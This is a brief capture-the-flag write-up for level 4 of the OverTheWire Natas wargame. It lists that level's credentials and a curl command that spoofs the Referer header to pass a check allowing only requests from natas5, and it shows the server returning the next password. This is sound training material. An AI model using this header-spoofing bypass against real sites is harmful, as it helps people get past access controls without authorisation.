Username: natas4
Password: tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
URL: http://natas4.natas.labs.overthewire.org
Look: authorized users should come only from http://natas5.natas.labs.overthewire.org/
1
curl -X GET -u natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm http://natas4.natas.labs.overthewire.org --refer http://natas5.natas.labs.overthewire.org
==> Results
1
Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
Details:
--refereris-ean option in the curl command used to determine the URL of the web page the current request is coming from. This allows the web server to know where the request was sent from and can use that information to determine the site’s traffic source or perform other actions such as analyzing traffic data.
Alright, i got the password! Moving on to level 5!
==> CTF: { natas5:Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD }


Comments powered by Disqus.